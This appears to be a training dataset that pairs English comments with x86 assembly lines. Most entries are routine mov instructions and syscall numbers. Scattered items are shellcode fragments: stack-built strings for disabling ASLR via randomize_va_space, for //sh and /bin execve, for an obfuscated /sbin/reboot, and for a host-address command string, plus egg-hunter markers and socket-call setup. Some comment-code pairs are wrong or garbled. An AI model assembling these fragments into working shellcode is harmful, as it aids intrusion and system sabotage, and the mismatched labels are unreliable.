; move the value 0x61722f6c into the double word starting at the address [esp-0x18]
mov dword [esp-0x18], 0x61722f6c
; move the value 0x656e7265 into the double word starting at the address [esp-0x1c]
mov dword [esp-0x1c], 0x656e7265
; move the value 0x6b2f7379 into the double word starting at the address [esp-0x20]
mov dword [esp-0x20], 0x6b2f7379
; move the value 0x732f636f into the double word starting at the address [esp-0x24]
mov dword [esp-0x24], 0x732f636f
; move the value 0x72702f2f into the double word starting at the address [esp-0x28]
mov dword [esp-0x28], 0x72702f2f
; move the contents of the eax into the double word starting at the address [esp-0x4]
mov dword [esp-0x4], eax
; push the string //proc/sys/kernel/randomize_va_space and the eax context on the stack and then load the stack pointer into ebx register
mov dword [esp-0x4],eax
mov dword [esp-0x8],0x65636170
mov dword [esp-0xc],0x735f6176
mov dword [esp-0x10],0x5f657a69
mov dword [esp-0x14],0x6d6f646e
mov dword [esp-0x18],0x61722f6c
mov dword [esp-0x1c],0x656e7265
mov dword [esp-0x20],0x6b2f7379
mov dword [esp-0x24],0x732f636f
mov dword [esp-0x28],0x72702f2f
sub esp,0x28
mov ebx,esp
; move the value 0x65636170 into the double word starting at the address [esp-0x8]
mov dword [esp-0x8], 0x65636170
; move the value 0x735f6176 into the double word starting at the address [esp-0xc]
mov dword [esp-0xc], 0x735f6176
; move 0x6374652f into the dword at address [esp-12]
mov dword [esp-12], 0x6374652f
; move 0x6374652f into the dword at the memory location [esp-12]
mov dword [esp-12], 0x6374652f
; copy ecx content as a double word into memory space at the address esp-4
mov dword [esp-4], ecx
; move ecx into the doubleword starting at the address esp-4
mov dword [esp-4], ecx
; copy esi content as a double word into memory sapce at the address esp-4
mov dword [esp-4], esi
; move esi into the dword at address [esp-4]
mov dword [esp-4], esi
; move the contents of the esi register into the dword at the memory location [esp-4]
mov dword [esp-4], esi
; move esi into the doubleword starting at the address esp-4
mov dword [esp-4], esi
; move 0x68732f2f into the dword at address [esp-8]
mov dword [esp-8], 0x68732f2f
; move 0x68732f2f into the dword at the memory location [esp-8]
mov dword [esp-8], 0x68732f2f
; copy edi content as a double word into memory space at the address esp-8
mov dword [esp-8], edi
; move edi into the doubleword starting at the address esp-8
mov dword [esp-8], edi
; copy ebp content into double word at the addresses edx-0x55af551d, edx-0x55ac551e, edx-0x554f551f
mov dword ptr [edx-0x55af551d],ebp
mov dword ptr [edx-0x55ac551e],ebp
mov dword ptr [edx-0x554f551f],ebp
; copy the double word in ebx register into the memory space at the address esi+0x10
mov dword ptr [esi+0x10],ebx
; copy the double word in esi register into the space memory at the address esi+0xc
mov dword ptr [esi+0xc],esi
; copy edi content into the memory space at the address esp-0x4
mov dword ptr [esp-0x4],edi
; copy edi content into the memory space at the address esp-0x8
mov dword ptr [esp-0x8],edi
; set read-write permission for the owner of the file, and read permission for everyone else
mov dx, 0x1a4
; move 0x1a4 into dx
mov dx, 0x1a4
; move the value 0x2a1 into the dx register
mov dx, 0x2a1
; move 0xb01 into dx
mov dx, 0xb01
; load hecadecimal value 0xfff into dx register then increment dx content by 1
mov dx, 0xfff
inc dx
; move 1222 into dx
mov dx, 1222
; move the deciaml value 132 in dx register
mov dx, 132
; move 132 into dx
mov dx, 132
; move 16666 into dx
mov dx, 16666
; put 673 in dx
mov dx,0x2a1
; load Ô:0Õ into dx register
mov dx,0x3a30
; move the hexadecimal value 0xb01 to dx register
mov dx,0xb01
; set a valid .text address, Ô_startÕ into eax
mov eax, _start
; move _start into eax
mov eax, _start
; move value of memory address [ebp+8] into eax
mov eax, [ebp+8]
; move the 4 bytes in memory at the address contained in ebx into eax
mov eax, [ebx]
; copy the 4 byte at memory location specified by the the result of the operation ebx+8 into eax register
mov eax, [ebx+8]
; move the contents of memory address ebx+epi*4+2 into eax
mov eax, [ebx+epi*4+2]
; move the contents of memory address ebx+esi into eax
mov eax, [ebx+esi]
; move the contents of memory address ebx+esi*2+4 into eax
mov eax, [ebx+esi*2+4]
; move 4 bytes at memory address esi-4 into eax
mov eax, [esi-4]
; move the contents of memory address esp into eax
mov eax, [esp]
; move the value of register at address esp+4 and store into eax
mov eax, [esp+4]
; move the contents at memory specified by temp into eax
mov eax, [temp]
; move the contents at memory address temp1 to eax
mov eax, [temp1]
; move the contents at memory specified by x to eax
mov eax, [x]
; move the contents at memory address y to eax
mov eax, [y]
; move the contents at memory specified by y to eax
mov eax, [y]
; move the contents at memory specified by z to eax
mov eax, [z]
; move 0ah into eax
mov eax, 0ah
; move an ascii linefeed character into eax
mov eax, 0ah
; move linefeed character into eax
mov eax, 0ah
; move 0x2e323931 into eax
mov eax, 0x2e323931
; move 0x2e383631 into eax
mov eax, 0x2e383631
; move 0x2f3e20 into eax
mov eax, 0x2f3e20
; move 0x2f766564 into eax
mov eax, 0x2f766564
; move 0x31263e32 into eax
mov eax, 0x31263e32
; load the string 192.168.1.93//x </dev/null2<&1 in ecx register
mov eax, 0x31263e32
mov eax, 0x6c6c756e
mov eax, 0x2f766564
mov eax, 0x2f3e20
mov eax, 0x782f2f
mov eax, 0x33392e31
mov eax, 0x2e383631
mov eax, 0x2e323931
push eax
mov ecx,esp
; move 0x33392e31 into eax
mov eax, 0x33392e31
; move 0x3f into eax
mov eax, 0x3f
; move 5 into eax
mov eax, 0x5
; store egg (0x50905090) in eax
mov eax, 0x50905090
; move 0x50905090 into eax
mov eax, 0x50905090
; move 0x563ed8b7 into eax
mov eax, 0x563ed8b7
; push Ô//shÕ on stack
mov eax, 0x563ed8b7
add eax, 0x12345678
push eax
; move 0x66 into eax
mov eax, 0x66
; move 0x6c6c756e into eax
mov eax, 0x6c6c756e
; move 0x782f2f into eax
mov eax, 0x782f2f
; move the 32-bit value 0x8000 into register eax
mov eax, 0x8000
; move 0x8b90909d into eax
mov eax, 0x8b90909d
; put the string /sbin/reboot on the stack through eax register then clear it
mov eax, 0x8b90909d
not eax
push eax
mov eax, 0x9a8dd091
not eax
push eax
mov eax, 0x969d8cd0
not eax
push eax
xor eax, eax
; move 0x969d8cd0 into eax
mov eax, 0x969d8cd0
; move 0x9a8dd091 into eax
mov eax, 0x9a8dd091
; move 0xb33fb33f into eax
mov eax, 0xb33fb33f
; move 0xdeadc0de into eax
mov eax, 0xdeadc0de
; push Ô/binÕ on stack
mov eax, 0xdeadc0de
sub eax, 0x70445eaf
push eax
; copy hexadecimal value 0xfeffff80 into eax register
mov eax, 0xfeffff80
; move 0xfeffff80 into eax
mov eax, 0xfeffff80
; move 0xffffffff into eax
mov eax, 0xffffffff
; move the value -1 in eax register then do the one's complement negation of eax end then push it on the stack
mov eax, 0xffffffff
not eax
push eax
; code for exit syscall
mov eax, 1
; exit
mov eax, 1
; invoke sys_exit
mov eax, 1
; make the system call exit
mov eax, 1
; make the system call for exit
mov eax, 1
; make the system call to terminate the process
mov eax, 1
; move 1 into eax
mov eax, 1
; move the value one into eax
mov eax, 1
; specify exit syscall
mov eax, 1
; system call exit
mov eax, 1
; terminate the process
mov eax, 1
; execute __nr_exit sycall
mov eax, 1
int 80h
; invoke sys_unlink
mov eax, 10
; move 10 into eax
mov eax, 10
; move 10000h into eax register
mov eax, 10000h
; invoke sys_socketcall
mov eax, 102
; get information about the file
mov eax, 106
; make the system call stat
mov eax, 106
; make the system call to get information about the file
mov eax, 106
; stat
mov eax, 106
; system call stat
mov eax, 106
; execve
mov eax, 11
; invoke sys_execve
mov eax, 11
; load and run the program
mov eax, 11
; make the system call execve
mov eax, 11
; make the system to load and run the program
mov eax, 11
; system call execve
mov eax, 11
; invoke sys_time
mov eax, 13
; move 132 to eax 132
mov eax, 132
; go to file offset
mov eax, 19
; invoke sys_lseek
mov eax, 19
; lseek
mov eax, 19
; make the system call lseek
mov eax, 19
; make the system call to go to the file offset
mov eax, 19
; system call lseek
mov eax, 19
; create a new process
mov eax, 2
; fork
mov eax, 2
; invoke sys_fork
mov eax, 2
; make the system call fork
mov eax, 2
; make the system call to create a new process
mov eax, 2
; move the value two into eax
mov eax, 2
; system call fork
mov eax, 2
; get the process ID
mov eax, 20
; getpid
mov eax, 20
; make the system call getpid
mov eax, 20
; make the system call to get the process ID
mov eax, 20
; system call getpid
mov eax, 20
; get 21 in the eax register
mov eax, 21
; alarm
mov eax, 27
; make the system call alarm
mov eax, 27
; make the system call to set set signal delivery alarm clock
mov eax, 27
; set signal delivery alarm clock
mov eax, 27
; system call alarm
mov eax, 27
; make the system call pause
mov eax, 29
; make the system call to suspend the process
mov eax, 29
; pause
mov eax, 29
; suspend the process until the signal arrives
mov eax, 29
; system call pause
mov eax, 29
; invoke sys_read
mov eax, 3
; make the system call read
mov eax, 3
; make the system call to read the file
mov eax, 3
; move 3 to the eax register
mov eax, 3
; read
mov eax, 3
; read the file
mov eax, 3
; specify sys_read call
mov eax, 3
; system call read
mov eax, 3
; kill
mov eax, 37
; make the system call kill
mov eax, 37
; make the system call to send the signal to another process
mov eax, 37
; send signal to another process
mov eax, 37
; system call kill
mov eax, 37
; invoke sys_write
mov eax, 4
; make the system call for write
mov eax, 4
; make the system call to write to the file
mov eax, 4
; make the system call write
mov eax, 4
; move 4 into eax
mov eax, 4
; move 4 to the eax register
mov eax, 4
; specify sys_write call
mov eax, 4
; specify sys_write syscall
mov eax, 4
; system call write
mov eax, 4
; write
mov eax, 4
; write to the file
mov eax, 4
; install signal handel
mov eax, 48
; make the system call signal
mov eax, 48
; make the system call to install the signal handler
mov eax, 48
; signal
mov eax, 48
; system call signal
mov eax, 48
; invoke sys_open
mov eax, 5
; make the system call open
mov eax, 5
; make the system call to open the file
mov eax, 5
; open
mov eax, 5
; open the file
mov eax, 5
; system call open
mov eax, 5
; close
mov eax, 6
; close the file
mov eax, 6
; invoke sys_close
mov eax, 6
; make the system call close
mov eax, 6
; make the system call to close the file
mov eax, 6
; system call close
mov eax, 6
; copy file descriptor
mov eax, 63
; dup2
mov eax, 63
; make the system call dup2
mov eax, 63
; make the system call to copy the file descriptor
mov eax, 63
; system call dup2
mov eax, 63
; get the parent process ID
mov eax, 64
; getppid
mov eax, 64
; make the system call getppid
mov eax, 64
; make the system call to get the parent process ID
mov eax, 64
; system call getppid
mov eax, 64
; get process group
mov eax, 65
; getpgrp
mov eax, 65
; make the system call getpgrp
mov eax, 65
; make the system call to get the process group
mov eax, 65
; system call getpgrp
mov eax, 65
; install portable signal handler
mov eax, 67
; make the system call sigaction
mov eax, 67
; make the system call to install portable signal handler
mov eax, 67
; sigaction
mov eax, 67
; system call sigaction
mov eax, 67
; make the system call to wait for child for terminate
mov eax, 7
; make the system call waitpid
mov eax, 7
; system call waitpid
mov eax, 7
; wait for child to terminate
mov eax, 7
; waitpid
mov eax, 7
; invoke sys_creat
mov eax, 8
; make the system call mmap
mov eax, 90
; make the system call to map the memory page to a file
mov eax, 90
; map the memory page to a file
mov eax, 90
; mmap
mov eax, 90
; move decimal number 90 into eax
mov eax, 90
; system call mmap
mov eax, 90
; retrieve a valid address saving it into eax
mov eax, addr
; move addr into eax
mov eax, addr
; move the contents of memory address array+esi*4 into eax
mov eax, array[esi*4]
; move b to eax
mov eax, b
; move buff to eax
mov eax, buff
; move the memory address of buffer variable into eax
mov eax, buffer
; move the address of buzz string into eax
mov eax, buzz
; move c to eax
mov eax, c
; move childmsg into eax
mov eax, childmsg
; backup ebx into eax
mov eax, ebx
; copy the contents of ebx into eax register
mov eax, ebx
; copy what is in ebx into eax
mov eax, ebx
; move ebx to eax
mov eax, ebx
; move the address in ebx into eax
mov eax, ebx
; transfer ebx to eax
mov eax, ebx
; move the value in ecx into eax
mov eax, ecx
; move the value of ecx into eax
mov eax, ecx
; move edi into eax
mov eax, edi
; move edi to eax
mov eax, edi
; copy edx content into eax register
mov eax, edx
; move edx into eax
mov eax, edx
; move the remainder into eax
mov eax, edx
; move esi into eax
mov eax, esi
; load 4 into eax
mov eax, esi
inc eax
; move stack pointer to eax
mov eax, esp
; move the address of the current stack pointer into eax
mov eax, esp
; move the memory address of filecontents variable into eax
mov eax, filecontents
; move the address of fizz string into eax
mov eax, fizz
; move key into eax
mov eax, key
; copy key into eax and edx in edi
mov eax, key
mov edi, edx
; move m_src to eax
mov eax, m_src
; move the address of msg string into eax
mov eax, msg
; move msg1 string into eax
mov eax, msg1
; move the address of msg1 into eax
mov eax, msg1
; move the address of msg2 into eax
mov eax, msg2
; move the address of msg3 into eax
mov eax, msg3
; move mxcsr to eax
mov eax, mxcsr
; move n_src to eax
mov eax, n_src
; move parentmsg into eax
mov eax, parentmsg
; move address of response variable into eax
mov eax, response
; move the number of bytes of var4 into eax
mov eax, type var4
; moving egg=0x50905090
mov eax,0x50905090
; place address of buffer into ebp
mov ebp, buff
; move eax to ebp
mov ebp, eax
; move ecx into ebp
mov ebp, ecx
; save esp content into ebp
mov ebp, esp
; move esp into ebp
mov ebp, esp
; point ebp to the esp register
mov ebp, esp
; point ebp to top of stack
mov ebp, esp
; set the new base pointer
mov ebp, esp
; move the contents at the memory location specified by the result of the operation [ebp-4] into the ebx register
mov ebx, [ebp-4]
; move the contents of the address [ebp-4] into the ebx register
mov ebx, [ebp-4]
; move the contents at the memory location specified by the result of the operation [ebp-8] into the ebx register
mov ebx, [ebp-8]
; move the contents of the address [ebp-8] into the ebx register
mov ebx, [ebp-8]
; move the contents of memory address ebx+esi into ebx
mov ebx, [ebx+esi]
; move value at top of the stack to ebx
mov ebx, [esp]
; move effective address of my_table in ebx
mov ebx, [my_table]
; save the effective address of my_table in ebx
mov ebx, [my_table]
; move the contents at memory address temp2 to ebx
mov ebx, [temp2]
; move the contents at memory address x to ebx
mov ebx, [x]
; move the contents at memory address y to ebx
mov ebx, [y]
; exit with return code of 0
mov ebx, 0
; return 0 status on exit
mov ebx, 0
; return a code of zero
mov ebx, 0
; specify file descriptor 0 as standard input
mov ebx, 0
; use stdin
mov ebx, 0
; write to the stdin file
mov ebx, 0
; move 0x1 into ebx
mov ebx, 0x1
; move 0x2 into ebx
mov ebx, 0x2
; move 0x4 into ebx
mov ebx, 0x4
; move the 32-bit value 0x40000 into register ebx
mov ebx, 0x40000
; move 0x5 into ebx
mov ebx, 0x5
; loading 0xfee1dead in ebx
mov ebx, 0xfee1dead
; move the value 0xfee1dead into the ebx register
mov ebx, 0xfee1dead
; file descriptor 1 standard output
mov ebx, 1
; invoke subroutine socket
mov ebx, 1
; move 1 into ebx
mov ebx, 1
; specify file descriptor 1 standard output
mov ebx, 1
; use stdout
mov ebx, 1
; write to the stdout file
mov ebx, 1
; move decimal value 10 into ebx
mov ebx, 10
; invoke subroutine bind
mov ebx, 2
; specify file descriptor 2 standard error
mov ebx, 2
; invoke subroutine connect
mov ebx, 3
; move 3 to the ebx register
mov ebx, 3
; move decimal number 3 into ebx
mov ebx, 3
; invoke subroutine listen
mov ebx, 4
; invoke subroutine accept
mov ebx, 5
; move 5 into ebx
mov ebx, 5
; move number 9 into ebx
mov ebx, 9
; move buff to ebx
mov ebx, buff
; move command into ebx
mov ebx, command
; save egg signature altered: 0x50905090 Ð 1 into ebx
mov ebx, dword 0x5090508f
; move dword 0x5090508f into ebx
mov ebx, dword 0x5090508f
; move dword 0x50905091 into ebx
mov ebx, dword 0x50905091
; load hexadecimal value 0x50905091 as a double word into ebx register then decrement its content by 1
mov ebx, dword 0x50905091
dec ebx
; move eax contents to ebx register
mov ebx, eax
; transfer eax content into ebx
mov ebx, eax
; copy eax into ebx register
mov ebx, eax
; copy eax content into ebx register
mov ebx, eax
; move eax content into ebx register
mov ebx, eax
; store sock_file_des in ebx register
mov ebx, eax
; move client fd to ebx
mov ebx, eax
; zero out ebx
mov ebx, eax
; move the address in eax into ebx
mov ebx, eax